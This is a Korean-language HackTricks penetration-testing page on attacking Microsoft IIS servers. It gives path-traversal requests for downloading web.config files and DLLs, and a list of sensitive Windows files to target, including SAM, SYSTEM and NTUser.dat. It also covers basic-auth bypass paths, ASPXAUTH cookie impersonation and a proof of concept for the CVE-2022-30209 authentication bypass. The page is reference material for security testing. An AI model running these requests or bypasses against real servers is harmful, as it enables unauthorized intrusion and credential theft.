IIS - Internet Information Services

Support HackTricks

테스트 실행 파일 확장자:

  • asp

  • aspx

  • config

  • php

내부 IP 주소 노출

302 응답을 받는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해 볼 수 있으며, 응답 내의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:

nc -v domain.com 80
openssl s_client -connect domain.com:443

내부 IP를 공개하는 응답:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config 파일 실행

.config 파일을 업로드하고 이를 사용하여 코드를 실행할 수 있습니다. 이를 수행하는 한 가지 방법은 HTML 주석 안에 파일 끝에 코드를 추가하는 것입니다: 여기에서 예제 다운로드

이 취약점을 악용하는 방법과 기술에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.

IIS 발견 브루트포스

제가 만든 목록을 다운로드하세요:

다음 목록의 내용을 병합하여 생성되었습니다:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

확장자를 추가하지 않고 사용하세요. 필요한 파일은 이미 확장자가 있습니다.

경로 탐색

소스 코드 유출

전체 작성 내용은 다음에서 확인하세요: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

요약하자면, 애플리케이션의 폴더 안에 "assemblyIdentity" 파일과 "namespaces"에 대한 참조가 있는 여러 web.config 파일이 있습니다. 이 정보를 통해 실행 파일이 위치한 곳을 알 수 있고 이를 다운로드할 수 있습니다. 다운로드한 Dlls에서 새로운 namespaces를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다. 또한, connectionstrings.configglobal.asax 파일에는 흥미로운 정보가 포함될 수 있습니다.\

.Net MVC 애플리케이션에서 web.config 파일은 "assemblyIdentity" XML 태그를 통해 애플리케이션이 의존하는 각 이진 파일을 지정하는 중요한 역할을 합니다.

이진 파일 탐색

web.config 파일에 접근하는 예시는 아래와 같습니다:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

이 요청은 다음과 같은 다양한 설정 및 종속성을 드러냅니다:

  • EntityFramework 버전

  • 웹페이지, 클라이언트 검증 및 JavaScript에 대한 AppSettings

  • 인증 및 런타임을 위한 System.web 구성

  • System.webServer 모듈 설정

  • Microsoft.Owin, Newtonsoft.Json, 및 System.Web.Mvc와 같은 여러 라이브러리에 대한 Runtime 어셈블리 바인딩

이 설정은 /bin/WebGrease.dll과 같은 특정 파일이 애플리케이션의 /bin 폴더 내에 위치하고 있음을 나타냅니다.

루트 디렉토리 파일

/global.asax 및 (민감한 비밀번호를 포함하는) /connectionstrings.config와 같은 루트 디렉토리에서 발견된 파일은 애플리케이션의 구성 및 운영에 필수적입니다.

네임스페이스 및 Web.Config

MVC 애플리케이션은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 web.config 파일도 정의합니다. 이는 다른 web.config를 다운로드 요청하는 예에서 보여집니다:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL 다운로드

사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "WebApplication1"이라는 DLL을 암시합니다. 그에 따라 WebApplication1.dll을 다운로드하는 요청이 표시됩니다:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

이것은 /bin 디렉토리에 System.Web.Mvc.dllSystem.Web.Optimization.dll과 같은 다른 필수 DLL의 존재를 시사합니다.

DLL이 WebApplication1.Areas.Minded라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일이 존재할 가능성을 추론할 수 있습니다. 이 파일들은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함하고 있습니다. 예를 들어, /Minded/Views/web.config에 대한 요청은 다른 DLL WebApplication1.AdditionalFeatures.dll의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다.

일반 파일

여기에서

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 오류

다음과 같은 오류가 표시되면:

서버가 Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미입니다. 웹 페이지에 접근하기 위해 제공된 SSL 인증서를 확인해보면 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 거기에 없다면 VHosts를 무작위로 시도하여 올바른 것을 찾아야 할 수도 있습니다.

찾아볼 가치가 있는 오래된 IIS 취약점

Microsoft IIS 물결 문자 “~” 취약점/기능 – 짧은 파일/폴더 이름 노출

기술을 사용하여 발견된 모든 폴더 내에서 폴더와 파일을 나열해볼 수 있습니다(기본 인증이 필요한 경우에도). 이 기술의 주요 제한 사항은 서버가 취약할 경우 각 파일/폴더 이름의 첫 6글자와 파일 확장자의 첫 3글자만 찾을 수 있다는 것입니다.

이 취약점을 테스트하기 위해 https://github.com/irsdl/IIS-ShortName-Scanner를 사용할 수 있습니다:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

원본 연구: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

metasploit를 사용할 수도 있습니다: use scanner/http/iis_shortname_scanner

기본 인증 우회

기본 인증을 우회하기 위해 다음에 접근해보세요: /admin:$i30:$INDEX_ALLOCATION/admin.php 또는 /admin::$INDEX_ALLOCATION/admin.php

취약점과 마지막 취약점을 혼합하여 새로운 폴더를 찾고 인증을 우회할 수 있습니다.

ASP.NET Trace.AXD 활성화된 디버깅

ASP.NET은 디버깅 모드를 포함하며 그 파일은 trace.axd라고 불립니다.

이는 일정 기간 동안 애플리케이션에 대한 모든 요청의 매우 상세한 로그를 유지합니다.

이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로 사용자 이름과 비밀번호가 포함됩니다.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH 쿠키

ASPXAUTH는 다음 정보를 사용합니다:

  • validationKey (문자열): 서명 검증에 사용할 헥스 인코딩된 키.

  • decryptionMethod (문자열): (기본값 “AES”).

  • decryptionIV (문자열): 헥스 인코딩된 초기화 벡터(기본값은 제로 벡터).

  • decryptionKey (문자열): 복호화에 사용할 헥스 인코딩된 키.

그러나 일부 사람들은 이러한 매개변수의 기본값을 사용하고 사용자의 이메일을 쿠키로 사용합니다. 따라서 ASPXAUTH 쿠키를 사용하는 같은 플랫폼의 웹을 찾고 공격 대상 서버에서 가짜로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성하면, 두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있습니다. 이 공격은 이 에서 성공했습니다.

캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209)

전체 보고서 여기: 코드의 버그가 사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에, 비밀번호 해시가 캐시에 이미 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
HackTricks 지원하기

Last updated